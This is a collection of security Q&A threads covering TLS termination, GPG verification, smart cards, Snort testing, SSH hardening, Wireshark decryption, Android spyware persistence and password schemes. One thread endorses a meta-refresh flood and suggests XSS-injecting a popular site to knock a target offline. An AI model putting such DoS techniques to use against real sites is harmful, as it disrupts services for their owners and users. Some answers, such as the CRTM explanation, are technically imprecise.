Security implications of client TLS termination I have a bunch of HTTP services/devices TLS unaware. I want to allow them to access WAN, but of course I do not want them to do it in plain HTTP.

Updating them is unworkable due to legacy issues and hardware requirements for a proper TLS implementation.

The only point where I can force force encryption is the WAN <-> LAN gateway using a TLS proxy with some help from the firewall.

What are the security risks of this solution?

Put simply, the risk is that you won't have TLS between your TLS proxy and the end webserver.

This sort of design is fairly common: plenty of services terminate TLS connections at a load balancer and run plain HTTP from there to the webserver. If you segment your network appropriately you can mitigate the risk posed by having the remainder of this link unencrypted.

Also see this answer.


How can I verify the GPG signature is valid? I'm trying to figure out if there is a way to be 100% sure that a GPG signature is valid. I'm not entirely sure how it all works, or the correct terminology, so forgive any lack of understanding.
I was trying to understand chain of trust, how can you guarantee that any signature you receive is not modified? Take downloading Tor browser, for example. I guess it depends on how paranoid one is. If it is assumed, for example, that Google is collaborating with the local government, and there is a regex in Chrome's binary that modifies each instance of the signature or key fingerprint to match the one that goes with the modified Tor browser, would the whole process be compromised? Or if the signature-validating software has been modified, or whatever other hypothetical challenges could be conceived.

tl;dr

What would be the minimum reasonable assumptions you would have to make about the environment/process in order to be as confident as possible that a signature and the content it signed is valid and unmodified (short of meeting the developer in person and exchanging key fingerprints)?

I'm not entirely sure how it all works, or the correct terminology,

The correct terminology is called verification.

  I guess it depends on how paranoid one is.

Yes, absolutely. There is no technical solution to these kind of problems. If you are paranoid enough, you wouldn't even trust your computer at all, because it could have been fiddled with before you purchased it.

  What would be the minimum reasonable assumptions you would have to make about the environment/process in order to be as confident as possible that a signature and the content it signed is valid and unmodified (short of meeting the developer in person and exchanging key fingerprints)?

You probably want to take a look at the warning page of Tails, which gives a pretty good overview of possible attacks. There is also a section dedicated to the process of verification guiding you through the process step-by-step

Personally, I would argue that it depends pretty much on what you are up to. For most of us, it should be good enough to use secure connection (e.g. SSL/TLS) and compare the downloaded version against some sort of simple hash. This rules out errors during the transmission of any file and really sloppy attempts to get you infected. Signatures are fine, too, but they make only sense if you make sure that the keys being involved match up to your expectation, which sound easy in theory, but turns out to be quite hard in practice.

If you are really not sure as to whether your computer is trustworthy, it would probably be a good idea to get a second opinion in form of another computer. Ideally, this computer would be completely independent of the first one, so it would be hard for an attacker to get both under his control.

  (short of meeting the developer in person and exchanging key fingerprints)?

GPG in its normal mode of operation relies on a web of trust, which is quite a good model, but obviously is not perfectly secure. The beauty of it is that you not necessarily need to meet the developer itself, but only need to know someone who knows someone, who knows the developer. You can use this chain of trust to verify the authenticity of any signature.

  I'm trying to figure out if there is a way to be 100% sure that a GPG signature is valid.

You won't get this 100% figure in practice. It is always a possibility that someone got hold of the private key. He then could sign whatever the heck he wants to.


What are the security vulnerabilities for a website that allows me to login by POSTing form data programatically? I am able to POST to the login form of a website with my username and password and retrieve authentication credentials in the form of insecure cookies. This allows me to access any other page of the secure website as if I was logged in via the browser. I believe this might be a vulnerability and would like to report it. What are the consequences of such a vulnerability that I can use to explain the situation to the company?

This doesn't sound like a vulnerability at all.

If I understand you right, uou do have to use your own username and password? Making a POST request with those is exactly what your browser does once you hit the logg in button. That you use another program to send the request is impossible for the server to know, and doesn't matter much anyway. Any client is as good as any other. There are no "authorized clients", there are just clients.

Think of it like this. If I write a program that sends exactly the same HTTP requests as Firefox do, how could your server differentiate between them? All the server see is the request, not the client itself. If I download the source code for Firefox and modify it for my purposes, how would your server know? (This, by the way, is also why the server can never rely on the behaviour fo the client to enforce security.)

Also, if this were to be considered as a vulnerability, how could an attacker exploit it? An attacker wouldn't know your password, so they couldn't POST it, no matter if it is done "programatically" or from a browser.

You mention that the cookie is "insecure". If you mean that it does not have the secure flag set, then that is bad practice. And it might be a sign that they are serving part of their site over plain HTTP, which is no good either.


Smart Cards / USB token security I am quite new to cards and tokens and trying to get a handle on a couple of issues prior to purchasing and using one.

1- physical access to keys on the card or token: Are all of these devices set up to (or easily configured to) require a pin/pw of some kind prior to use? So, for instance, if the card is lost, a pin must be entered prior to accessing any information or modules (ie, openpgp) that reside on the card?

2- What is the effect of a malicious keylogger on the use of a smart card or token? For instance, if using a USB type token w/smartcard capability, does a keylogger compromise all that is on the device, even if the attacker is unable to physically obtain the usb token?

Most (all?) of the cards require a PIN and are designed to lock themselves after multiple failed attempts, so physical access to a card is pretty much useless without knowing the PIN as the cards are designed to be tamper-proof. So far I haven't heard of any way to extract the secrets using a hardware-attack in a real world scenario.

A keylogger on a machine will indeed capture the PIN if you're entering it into an application on the computer. That can be mitigated by using a reader with a hardware keypad and entering the PIN on that keypad. That way the PIN never reaches the computer and even a compromised machine won't be able to capture it. All credit card terminals you use when paying are, at the very least a reader like this one (but often are full-featured computers that handle the entire transaction themselves) so the POS system never gets your PIN.

A keylogger will never be able to compromise the card's secrets, as the cards are specifically designed to never reveal them, it will however compromise the PIN and any data you encrypt/decrypt with that card or token.


Testing Snort IDS installation What is the easiest way to test Snort IDS after installing? Would using and writing a rule that captures all of the traffic work?

alert ip any any -> any any ( msg: "ICMP packet detected!"; sid: 1; )

That is, using its own rules.

One way that I know of for testing Snort is by using some programs such as Nmap, Metasploit, and something else, but how can it be done?

There are two subtly different things you might want to test.

Is Snort working in the sense that it's running, able to sniff trafic, testing it against the rules, and alerting you when one is triggered?
Is Snort working in the sense that it's current rule set detects a specific intrusion of type X?

To test case 1, you make a rule that's easy to fire, like your example, and fire it.
To test case 2, you have to attempt an intrusion of type X and confirm that it is detected.

You seem to be wanting to test case 1 (that the install has been done correctly) using the method in case 2, but you don't need to. Using a "fake" rule is a perfectly valid test that Snort is working in the first sense. And it's easier. Easy tests are good. You don't want to faff around with Metasploit when you're just checking that the alert emails go to the right person. Especially if you're not skilled in running intrusions - what if you do the intrusion wrong, and get a false test result? What if the intrusion attempt crashes the target (which is very likely on many types of intrusion.)

You really only need to test case 2, that a specific rule works against a real intrusion attempt, if you don't trust your rule set (in which case - why are you using it?) or if you're developing new rules.


Is there a way to tell what the file does before opening it? You have just noticed that an unknown executable file has been downloaded to your machine.
Is there a way to tell what the file does before opening it?

What you are looking for is an approach called a "sandbox". It opens or runs the file in a safe bubble to see what it does and to look for malicious actions it might take.
There are many ways to do this and many tools to use. Virtual Machines can be used as a sandbox, there are online sandboxes, and there are tools you can install on your machine that can give you a lot of control.
It is also possible to "decompile" or inspect the file to get a lot of information about what it might do. This is known as "reverse engineering". This is not as complete as running it in a sandbox, but it can offer some detail before you run it.


Chrome/FF not negotiating advanced ciphers? Ran into a weird problem trying to lock down our AWS ELBs today, specifically trying to deprecate all support for SHA-1.

Having removed options like AES256-SHA ECDHE-RSA-AES256-SHA (among others) from our external ELB, Chrome and Firefox both refused to connect. Oddly, MS Edge and Safari were still able to connect.

Chrome and FF both reported ERR_SSL_VERSION_OR_CIPHER_MISMATCH.

Based on my best understanding, there's no reason that Chrome or FF shouldn't support larger block sizes for SHA hashing, is there? After all, SHA-1 is deprecated in general. We tried this on several workstations/VMs, each running a different OS (Win10 and OS X El Capitan) and the result was the same for Chrome and FF.

Our certificate was also signed with SHA-256.

Hopefully I'm explaining this reasonably well.

*edit: I found a related list, and it looks like SHA-2 hashing isn't supported by Chrome in conjunction with AES-256.

After all, SHA-1 is deprecated in general.

No. SHA-1 is deprecated for signatures. It is not deprecated when used as HMAC. See also Obsolete cryptography (SHA1) warning although certificate uses SHA256.

  Our certificate was also signed with SHA-256.

This is completely unrelated to the choice of cipher.

  ...there's no reason that Chrome or FF shouldn't support larger block sizes for SHA hashing, is there?

Apart from performance probably no. But there is also no reason to have a "mine is bigger" approach to security. SHA-1 is save as HMAC and even MD5 is save for this purpose. They both are not safe for use in signatures but this is a different thing.


How do i know if I have moved or copied a file from my SD card to PC? is there any way to know if the file I have on my mini-SD card was moved or copied to my PC?

i have sensitive files on my SD card which is stolen and i cant remember if I cut or copied the file from my SD card to my PC. All I know is that I have backed-up the file to my PC. I have the file now. How do I know if I deleted it from my SD card (moved/cut). Thanks.

Im using windows 8 btw.

There is no way of knowing. When storing sensitive data you should securely encrypt them before storing them on an external medium.

Even if you had cut them off, the files will still reside on the device and will still be recoverable unless you have securely wiped them off the drive using a file shredder. Most file systems just allocate the space as free but the bits containing the actual data will still be on the device.


Consequences of trusting a PC from my iPhone I just trusted my work PC (Windows 10) from my iPhone. I connected the phone via USB to charge it. I didn't open my iPhone 6 files from the PC. I didn't view any pictures and I unplugged it pretty quick after I accidentally trusted it.

I was wondering if my employers are still able to access my pictures and videos.

This largely depends on what you clicked on.

If you entrusted your computer with access to Bluetooth ... who knows.
If you entrusted your computer with access to USB ... your
probably fine.
If you entrusted your computer with access to your
icloud ... theoreticly your IS dept could gain access ... but I
really doubt they will care enough to.


applications of linear algebra to "security"? I am taking a course in linear algebra which was to be credited towards a program in applied math. My interests have moved towards matters of "security" (information, network, cryptographic, etc.).
It seems that the math required for security is more towards discrete math and finite automata, probability theory, and number theory.
Is there any motivation to study linear algebra? What are its applications to "security"?

For example, there's the concept of a "protection matrix", but I'm not sure if this can be related to the "matrix" in the linear algebra sense; a system of equations (would eigenvectors have any meaning?).

There is no opposition between "linear algebra" and "discrete math". For instance, a Linear Feedback Shift Register is "linear" in the sense of linear algebra, but also totally discrete. What is seldom encountered in computers is not the "linear" part, but the use of real or complex numbers as base field -- because computers are not good at storing numbers with an infinite number of digits (an infinite storage space is a bit expensive). Computers use approximations (all the "floating point types" like double), or use finite fields. In the case of a LFSR, the finite field is GF(2), the field with two elements (0 and 1).


Windows Firewall allows the connection to more than one user who shares the same external IP address I wrote a stand-alone anticheat. When the client anticheat connects to its server, the server creates a firewall rule allowing the game client to gain access to the server.
The problem is the firewall creates rules by IP address. If NAT is used, then one of the NATed IPs accesses the anticheat server, this server creates a firewall rule for all IPs behind the NAT.
How can I solve this "NAT" issue? Is it possible to solve this using Windows firewall API?
I don't want to block NAT'ed connections, I want to allow it if there is a way to authenticate users' devices with Windows firewall on the anticheat server first.
The anticheat server and game server are on the same PC.
Windows firewall blocks all inbound connections for the game. The only way you can connect to the game server is to authenticate first with the anticheat server. But, firewall add rules by IP address. If I have two users with the same external IP, one of them accesses with anticheat client and the other has no need to do it because the server already made a rule for the IP.

Contrary to what you state in the comments, this is an xy-problem. An xy-problem is "how can I use x to do y" while not even considering whether x is an appropriate method to do y.
If you want to distinguish between clients behind a NAT (your y), an IP-based firewall (your x) is not the appropriate solution. Possible solutions are

use VPNs if you must (seems disproportionately heavy in this context)
authenticate the sessions and allow only authenticated sessions, for example via a proxy
separate the anticheat and game server on different (possibly virtual) machines
et cetera.

In short, the answer to your question is, that Windows "firewall" is an IP based filter and you cannot reliably distinguish between host behind a NAT router.


Is there value in changing your password after failed (malicious) login attempts? I just received an email from Citi saying "We've locked your access for 24 hours due to multiple failed login attempts." and "If you didn’t attempt these logins, we recommend that you reset your password immediately."

Ignoring the humor of being told to change my password immediately when my access to the password reset has been locked for 24 hours, is there actually value to changing your password when someone fails to login to your account? If the attacker, by fact that the login failed, doesn't have your password, it's not clear to me why the password should be changed. Maybe the assumption is that if you're using a poor password, this would encourage you to change to a better password?

If the password was randomly chosen, then there's no reason to do so.

There might be a reason if someone is trying targeted password at you. ie: if they know you like horses, you are born on 1990, and you're from Alabama, then they might be trying all combinations of these words. Changing your password then could be useful, but not because someone is trying to break into your account, but because the password wasn't originally random.

Another reason could be that someone else found your password on a paper and it contains "0" and "O" and "o", so they are trying all combinations of these.

So for random passwords that were not printed, it's useless.

Knowing that users actually come up themselves with passwords instead of generating random ones, changing your password in such case would probably be less secure, because you'll quickly run out of ideas for your password, and chances are you'll come up with a simpler and simpler one every time you change it.


Why can't I decrypt SSL traffic with the client's private key only? I have found that I can decrypt SSL traffic in Wireshark with the server's private key.

Why isn't the client's private key enough to decrypt SSL traffic?

This is because in an SSL/TLS connection the asymmetric key exchange uses the server's public key to exchange the pre-master secret.  A client certificate is only used for client authentication if the server requests it.  The pre-master secret is what's used to generate the session keys.  This is why you need the server's private key, not the client's.

Typical SSL/TLS Key Exchange:

Notice how in the above exchange only the server sends its certificate.  The client key exchange message is the pre-master secret encrypted with the server's public key.

SSL/TLS Key Exchange w/ Client Authentication

In the above exchange we see that after the server sends its certificate it also provides a CertificateRequest message.  This message asks the client for its public certificate.  It responds with the ClientKeyExchange message as it does in a typical handshake, and then sends a ClientVerify message which signs the hashed key exchange data.  The server then uses this signature to verify the client.

The client or server never uses the client's public key to encrypt any information in the handshake.  Therefore it is not necessary for session decryption.


Replace certificates simultaneously on remote servers? A third party server sends us signed messages that we verify. When its certificate is about to expire, the third party generates a new key pair and sends us the new certificate.

At some point, the server will start signing with its new key, requiring that we use the corresponding new certificate to verify.

How can we make this two-side replacement process accurate and easy? It would be a hassle if any messages were rejected due to timing issues (i.e. party A switches, then a message is sent, then party B switches).

An obvious solution might be to try all non-expired keys, but that seems like code pollution. Particularly because we only face this challenge in some scenarios, meaning some occurences of signature verification have to bother with multiple certificates, while others do not.

Another idea is to specify a timestamp. However, server clocks might not be in sync, and memory caches (e.g. with a 15-minute expiration) would interfere even more.

How can we make this two-side replacement process accurate and easy?

The conventional way to do this is to support multiple certificates in the verification side. The verifier side should install the new certificates, which should work side by side. The signer then can swap to the new certificate at the time of their choosing before the old certificate expires.

Note that in most use cases of asymmetric cryptography, the verifier generally would need multiple certificate support anyway because the verifier might need to verify old messages using expired certificates. In these cases, the user should be notified that the verification is successful with an expired certificate.

If you really can't support multiple certificate, you would need a synchronized downtime. First, the signer is taken down, and it flushes all unsent messages; then after the verifier finished processing all pending messages, the verifier is taken down. After both asides updated their certificates, the services can be brought up again. If the signer is capable of queueing unsent messages to be resent later, then the signer can restore service at any time after the verifier is confirmed to be down; otherwise the signer had to wait for the verifier to be up before starting up.

If you really can't tolerate downtime every time the certificate expires, then what you could do is use a certificate chain verification. In this scheme, you'd create a long-lived root certificate (e.g. 10 years or more), which is used to certify shorter lived leaf certificates (e.g. six month, yearly); the verifier would accept any certificates that are anchored to the root certificate. You'd still need to synchronize downtimes to replace a root certificate, but replacing leaf certificates wouldn't need to be synchronized. You would need to guard your root certificate very dearly though, because this root certificate is hard to replace if compromised.


Robots.txt security strategy? Is there a way to basically have an allow all policy on your top level domain, and any subdomains disallow all? I would rather that my public facing app servers not get indexed, but from what I can tell, no robots are even polling for robots.txt when it hops from our top level domain to a subdomain through a link.

I've always felt like mapping out all of the off limits places for robots.txt is giving away a roadmap to anyone who wants to know where the good stuff is at.

What type of Robots.txt security strategies would be best for a webapp environment?

You are incorrect in your assumption that robots.txt on subdomains are ignored. Most search engines will grab and obey the robots.txt for individual sub-domains.

If you wish you can instruct spiders not to index elements of your website without listing them in robots.txt, through either:

Adding <meta name="robots" content="noindex" /> to the HTML of the web pages
Adding X-Robots-Tag: noindex to your HTTP headers

More details available here

However, regardless of this you should not be relying upon robots.txt for security. What you are leaning towards here is security through obscurity which is widely regarded as a bad idea.


Understanding Layer 7 DoS I recently read this article about how a lone hacker (The Jester) conducts, amongst various other things, his DoS attacks over layer 7 instead of layer 4. It also mentions at one point he was able to successfully DoS a website using just a 3G enabled phone as his attack platform.

I'm curious as to how this was actually done. Would a simple HTML script be able to cause this big an impact? Especially considering that the article seems to suggest he is able to deny service without having to distribute the attack.

For example, and I appreciate this is just a very basic one, finding a large element on a page and constantly requesting a large number of it:

<meta http-equiv="refresh" content="1" />

(x100)

</meta>

Is this a viable, albeit very basic, AV for a layer 7 DoS?

This is a perfectly fine and viable form of DOS attack.

In your example I would construct such an attack like, say I XSS inject a very popular online page with a lot of hidden traffic to my target page, it could eventually DOS the target page causing a variation of the slashdot effect. This is a form of layer 7 DOS attack.

There is very many examples of layer 7 DOS attacks. It basically means you are exploiting flaws in the application logic which could be anything from sticking the application in CPU intensive loops, making the application consume all local resources or simply having the layer 7 consume all bandwidth.

One more example of Layer 7 DOS could be if I take your username and try to log into an application somewhere many times with the wrong password, essentially leaving your account blocked preventing you from logging in.

Layer 4 DOS can be a TCP flood attack where you send a bunch of TCP SYN packets to a host leaving the host with half open connections, potentially consuming all the resources the OS has available.

Edit: A good example of layer 7 DOS is Slowloris. Quotation on how it works follows:

  Slowloris holds connections open by sending partial HTTP requests. It continues to send subsequent headers at regular intervals to keep the sockets from closing. In this way webservers can be quickly tied up. In particular, servers that have threading will tend to be vulnerable, by virtue of the fact that they attempt to limit the amount of threading they'll allow.


Can Android spyware like Pegasus survive flashing of a new ROM? I live in a country that is not fully authoritarian but is increasingly illiberal.  State agencies have been caught misusing spyware to target activists and dissidents on multiple occasions.  Given the kind of work I do, my threat model is that while it is unlikely that I would be targeted by a Pegasus-style targeted spyware attack, it is certainly not impossible.  However, rather than a supply chain or physical device attack, the most likely vector for me would be some kind of remote vector attack.  I have no evidence as yet that I have been targeted.
I have a choice at present. I am tempted to just physically get a new phone frequently - perhaps once a year or less - in the hope that that will ensure that if my device is compromised it will at least soon be replaced.  Of course however this costs money.
On my present device, I have been using LineageOS in the hope that this will ensure more regular updates.  Unfortunately for me :), Lineage discontinued my device soon after I acquired it, so it is still on Android 9 (Lineage 16).  Recently however I've discovered that crdroid lists my device as officially supported and has official releases all the way to Android 11 available.
So I want to ask - if I reflash my phone with crDroid, how likely is it that any malware / spyware would be able to survive that?  I know baseband OS hacks can survive reflashing, but I had the impression that most such hacks require physical access.  Overall, is it safer to simply get a new phone?

As long as your blootloader is unlocked, a spyware that has gained privilege escalation on your device can keep itself persistent across custom ROMs. Custom ROMs only flash /system and /boot partition. Some custom ROMs also flash /vendor partition. Other partitons like /radio, /misc, /persist and ODM partitons remain untouched by aftermarket development.
In locked bootloader, if vulnerabilities are not in Android Verified Boot (AVB) and SoC's secure boot, tampering with system and bootloader will brick the device on next reboot. To prevent the device from getting bricked, spyware apps gain temporary root after each reboot and these ones can be removed by factory reset of device or just by uninstalling the identified spyware.
Custom ROMs can deliver security updates for android framework only. OEMs also deliver security updates for underlying Linux kernel, drivers & firmwares, bootloader and Trusted Execution Environment (TEE). Known vulnerabilities in vendor components cannot be patched if OEM has dropped support for your device. Don't use custom ROMs that don't enforce SELinux.  There is already an exploit to gain root in SELinux permissive mode | Explanation. SELinux permissive doesn't block processes for violating SELinux policies. It only reports them.
Another option is to use custom AVB which is only supported by Pixel and OnePlus. Custom AVB allows relocking of bootloader but with custom root of trust. This will ensure integrity protection of your custom ROM while also receiving security updates for android framework.


Do AppArmor/SELinux provide any security for workstation? I decided to harden security on my primary workstation a bit. Before I used to use firejail for certain less trusted apps (all apps with internet access) but it's kind of toy. Didn't work really well for me. So I tried to read about real tools which is SELinux and AppArmor.

Whereas lets say I get how it might be beneficial for server - it runs just few, well known apps with well known profiles, you need to enable profile and it works. Cool. But I completely don't see how it's supposed to work for workstation or desktop. I'm not sure if it's truth or I'm missing something but If I understood well both AppArmor and SELinux require profiles to secure apps. And those profiles need to be pre-prepared. By someone. For every app.

Okay, so I'm using OpenSUSE on my workstation. It runs a lot of apps so I chose to install full DVD. It's around 16gb of software out of box. As I'm using it also for web development I additionally installed dozen of web browsers etc, flashplayer so on, so on.

lapsio@linux-6o92 ~> ll /usr/bin/ | grep -vc "^l"
4225
lapsio@linux-6o92 ~> ls /etc/apparmor.d/ | wc -l
46

Of course not every app in /usr/bin is full standalone application but lets even say there's around 100-300 big, potentially vulnerable and dangerous apps - because that includes pretty much every single app that operates on files from some untrusted place - images may use exploits in libmagic, documents some macros, svg files with javascript, even blender allows running python scripts embedded in 3d file, of course all browsers, all apps with any web capabilities, so on, so on. So out of those 300 apps... in apparmor rules I see maybe 5 that actually belong to list of those big vulnerable apps.

The point is - it's pretty much impossible to create profile for every single app in OS. Blacklist approach is pretty much always bad when we talk about security. So is there any whitelist solution? I'm not saying that Android is super secure but on the other hand - it seems to really separate all apps from each other.

Ideal solution would be to allow every app by default to access only own files (determined by package manager) and no internet access. Then to give explicit permission to any other path or internet access just to certain apps. While second goal can be easily achieved by appropriate iptables rules first one sounds like something that should be achieved by SELinux or AppArmor. But I don't see how.

I did. You need a plan, and you need to master the tools. You need to be able to compromise where you can and where you have to compromise. You need to work to make it reality.

Access control is part of the bigger picture. There is trust involved inevitably. Knowledge about your environment and threats. Trade-offs. Common sense, a healthy dose of paranoia. Basically awareness in general.

But on a more practical note. It starts by only installing what you need. The more you have the more that can break. So you do not have to target every process imaginable. You target what you have to target to get the job done.

This is the security policy that i currently use. It is tailored to my environment and to my requirements. It has trade-offs, compromises. Because without that it would'nt be possible. Security is never absolute, but you can make the best of it, and that should be the goal.

Need inspiration?

This is DSSP my personal SELinux security policy:

https://github.com/DefenSec/dssp


Wikipedia censorship breaks after accessing Wikimedia I live in Turkey, and Wikipedia is blocked for some stupid reason!

But I've noticed that if I open "https://commons.wikimedia.org/wiki/Main_Page" which is not censored, I can then access Wikipedia as if it is not blocked at all, provided that I'm using the same browser.

Could anyone please explain what's happening here?

Thanks.

Can you please try this again with firebug, check the cookies created on your computer when you view wikimedia, it should be there a cookie that lets you pass on the censorship. You'll have to do the dirty job, cause outside of Turkey we can't test such...


Hiding database passwords for classic ASP connection strings Looking at some old classic ASP sites which could do with a bit of tightening up. The SQL server database connection string has the password in clear text within an include file on the server. Obviously this is nasty as anyone with access to the server or the source code can gain immediate access to the database (if they have firewall access etc).

I'm assuming that there is a recommendation on how to do this more securely (even a DSN would be better I guess?)

Any suggestions welcomed - hopefully not a load of "what year are we living in comments" ;-)

You should do it the same way you do everywhere else: use env vars.

Set O/S env var for user foo. Run application as user foo. Only foo or root can read that env var. Root can always read everything, including files.

Env vars are better than files as they are safer by default (ever screwed up a file permission?) and prevent you from accidentally checking passwords into source control, because you can't.

See https://stackoverflow.com/questions/6360036/getting-environment-variables-in-classic-asp

If you're opening child processes, pass them a clean environment.


What to do about ssh breakin attempts Our system used to get bombarded by bots trying to login to the ssh client on the standard port. After switching to another port number the failed login attempts basically stopped completely. Recently, in the past week there has been a few unknown i.p. addresses attempting to login ( on average about 60 attempts a day) that appear to be on a few different networks coming from the same isp in china.

I have no security experience, other than basic setup of clients and changing passwords etc.

We are using logwatch to gather some information on the login attempts. What is the key information I will need about the attempts to analyze the situation and take action?

What are basic steps to make sure we have not already been breached?

What other actions I should take?

Don't allow SSH login into the root account. Login with a user account with a name which is harder to guess. When you need to do something as root, use su or sudo after you logged in.
Make sure your passwords are long enough to avoid getting brute-forced. The speed an attacker can use to brute-force over the network is severely limited, so an 8-character mixed-case password without any relation to a dictionary word is more than enough.
Even better, use keyfiles for SSH login. That way SSH logins are only possible with the correct keyfile on the client system. Brute-forcing an RSA key (when generated correctly) is very unlikely to be successful before the end of the universe, so nobody will even try.
Install fail2ban. This tool automatically adds firewall rules which block IP addresses which make an unusually large number of failed login attempts. When you followed the previous steps this shouldn't actually be necessary from a security standpoint and it might result in overblocking legitimate users which share an IP with an attacker (carrier-grade NAT, dynamic IP addresses), but it reduces the resource load on the server due to not having to respond to all the login attempts.


Decrypting SSL using Wireshark on Linux vs Windows I'm working on decrypting my own traffic that gets sent through Wireshark and I've been following this guide for reference. I have been using the SSLKEYLOGFILE environment variable and I can get the key files populated on both Windows 8.1 and Ubuntu 14.04 LTS.

The test I'm using is logging on to Facebook and looking for the Decrypted SSL Data tab on Wireshark. It appears while running Windows, but it's nowhere to be found on Linux. I've also noticed that in the Protocol tab, SSL will appear among all the protocols in Windows, but it's nowhere to be found on the Linux version. Both still show TLSv1.2, so I don't believe I'm connecting to an unsecured version of Facebook.

The Linux version of Wireshark is compiled with GnuTLS 2.12.23, so that is not the issue either. Can anyone help?

In Wireshark (Ubuntu 14.04) you can Right Click the SSL stream, and go to:

Protocol Preferences > Secure Sockets Layer Preferences

Here you can add RSA Key lists where you can enter the password of the private key used to protect the communications.  You can also enter a Pre-shared Key or a Pre-Master Secret log file (which I believe is what you have).

Here's a tutorial on how to decrypt SSL traffic with Wireshark in Linux.

As an alternative I would look into using a proxy like Charles to act as a man in the middle to view SSL traffic between websites.  It makes it very easy to see the decrypted traffic, and you can have multiple sessions going at once.  This is ideal in a closed off network since you'll have to install their CA into your trusted store.

But this is a great way for debugging/viewing secure web traffic.


Which OpenSource Proxy is Better and easier to use? I have to read http/https messages sent from a client system and see that the messages are not being modified within system by any malware and the server receives what exactly the user wants to send.

For Example, a User in an online Banking Transaction wants to send Amount $100 to Account 'A' and lets say that the message has been modified by a spurious program within system outside of users knowledge and sends it as $1000 ,Account 'B' before it is sent to the Server over the Network. I need to verify the details of the message before it is sent to the server.

Thus I want to use a Proxy to see what request is being sent to the Banking Server and  display it to user. Then the User observes that it has changed to B,$1000 and immediately aborts or kills the request.

In this way I want to ensure the integrity of the details of a secure Transaction. For this reason, I need a Proxy which made me research about them and came up with these four proxies. As I am beginner in this area and don't know much about it. Want to know if any of these proxies work or Is there a better approach to work out my purpose.

Paros,
BURP Free Version,
Webscarab,
SQUID.

If anyone has a better user friendly and useful proxy please feel free to suggest it

Thanks,
Pavan.

The leading proxies are Burp and Zap. Burp pro edition just about has the edge on Zap, but Zap is completely free. The free edition of Burp is usable, but lacks advanced features like the active scanner.

Paros and Webscarab were once leading proxies, but they are no longer cutting edge. Zap is actually a fork of Paros, but it has moved on a lot.

Squid is a proxy, that's true, but it's not an interactive proxy. It's not much help for testing a web app.


RKHunter and CHKRootkit Warns About /usr/lib/pymodules/python2.7/.path In relation to my previous question. I have this Warning again from both RKHunter and Chkrootkit.

My VPS has been turned off for how many weeks, until I turned it on again to deploy my website. After the deployment, I did the RKhunter Scan and Chkrootkit and it warned me about;

using Chkrootkit...

The following suspicious files and directories were found:
/usr/lib/pymodules/python2.7/.path

While in RKhunter...

Warned about deleted files being used in...
/usr/lib/pymodules/python2.7/.path

I am exactly clueless on how to deal with the issue.

Is this False Positive? Will I just add it to the white list?

Most probably false positive (depends of its content). Got the same warning on two different clean machines (Ubuntu 12.04 & Debian 7).


What does CRTM refer to? The Definition of CRTM in TCG specification says:

  Typically, the RTM is the CPU controlled by the Core Root of Trust for Measurement (CRTM). The CRTM is the first set of instructions executed when a new chain of trust is established. When a system is reset, the CPU begins executing the CRTM. The CRTM then sends values that indicate its identity to the RTS.

I'm wondering, which part of machine is the CRTM?
Is it a part of BIOS? If so, CRTM is written by the BIOS vendors. And it makes BIOS to measure bootloader, but BIOS could not determine user's bootloader and seems unable to perform the measurement work.

I am confused, please help me.

CRTM is saved in the Platform Configuration Registers (PCR), register 0 to be more precise (PCR-0). CRTM is (physically) embedded into chip silicon and provided by the BIOS, but is a logical part of the TBB (Trusted Building Block). The measurement itself is stored in PCR0.

In order to fully understand how CRTM works, you should study the chain of trust in more detail.

The (static) chain of trust starts at powers on (or reboot), which resets all PCRs to their default value. The first measurement is made by hardware (the processor) to measure a digitally signed module (called ACM - Auth'ed Code Module) which is provided directly by the chipset manufacturer. The processor validates the signature and integrity of the signed module and if it is valid it starts executing it. The ACM then measures the first BIOS code module, which can make various additional measurements.
The measurements of the ACM and BIOS code modules are extended to PCR0, which holds the (CRTM), as well as the measurement of the BIOS TCB (Trusted Comp. Base). Then the BIOS measures additional components into PCRs, from PCR-0 to PCR-7.

Physically, the PCR is stored in the TPM (Trusted Platform Module) is a microcontroller security chip that resides on the mother board of most enterprise level computers that are shipping today.


What are the weaknesses of this password-generation-method? How can it be improved? I recently came up with the problem, that I have much more accounts, than I'm able to remember passwords. I don't want to use a password-safe, because I cannot access it on another computer, I lose all logins if I lose this safe and an attacker gets a much logindata, if he compromises the safe. Instead I wished for a method, to generate safe passwords with a method you can always reproduce and only remember one password/phrase/secret. To find such a method, I asked this question.

In the meantime, a friend and I came up with such a generation-method. Now I want to know, if it is insecure, which weaknesses it contains and how it can be possibly improved.

The method we came up with needs one central secret. This should be a text, that no one else knows, but is easy to remember for yourself. A poem might be easier to remember, but you should create something personal, so that no one can conclude to the text. So don't take the Jabberwocky, as everyone knows this text. (But I will choose Jabberwocky for the example).

Now you take the name of the platform you need an login. That can be something like HOMEPC or STACKEXCHANGE. Take the first character of your account and search for the first word containing it in your secret. For Jabberwocky the first word with a 'h' (HOMEPC) is 'the' and the first word with an 's' (STACKEXCHANGE) is 'Twas'. Now take the next word with the following character, and so on. This way you generate the specific password. The examples are:

HOMEPC -> 'the toves gimble the vorpal Jabberwock'
STACKEXCHANGE -> 'Twas the and Jabberwock took time manxome Jabberwock with flame And through The'

If the secret is not long enough, start over at the beginning. If the platform-name is too short take it double or three times. Same if you have the feeling, the password is not good enough.

EBAYEBAY -> 'the gimble wabe mimsy were borogoves And my'

The secret should contain every character at least once (Jabberwocky missses q and z).

What are the weaknesses in this method? How you can attack passwords generated by this, or even worse - conclude to other passwords if intercepted some?

This is a poor method for password generation.

It requires memorizing a very long secret.  This is very difficult for most users, particularly if you want it to have a lot of entropy.
What's the weakest link?  The same as it always is: the human.  The weakest link is the human who is picking the poem (the central secret).  I suspect that in practice, a large fraction of users are going to pick a poem that has relatively low entropy: i.e., is one of a fairly small set of possibilities.  I'd bet that there are at most about 2^20 poems in the world, and a significant fraction of users might use one of those 2^20 poems.  If so, this is a weak method.  Any web site that knows any one of your passwords can recover the poem and then guess all your passwords at all other sites.
Also, an attacker who knows nothing about you and wants to break into your account on some site can just start trying poems, in order of decreasing popularity, and try each password that results.  There are good reasons to think that this will succeed with a depressingly high success rate.  For instance, look at studies of passwords (see references below); you find that a small dictionary of common passwords suffices to break a significant fraction of user's passwords.  I suspect the problem will be even worse with this scheme.  It's bad enough to try to memorize a 6-8 character password; trying to memorize an entire poem would be horrible.
This is trivially defeated with Google.  You listed three examples of site passwords for HOMEPC, STACKEXCHANGE, and EBAY.  Pick any one of those site passwords, and cut-and-paste it into Google.  In each case, the very first response is the Jabberwocky poem.  Thus, in each case, someone who knows a single site password can learn all of your other site passwords.  That's no good.  I would expect this to be a general problem for many users: not specific simply to your example, but one that would be successful against a very large fraction of users.

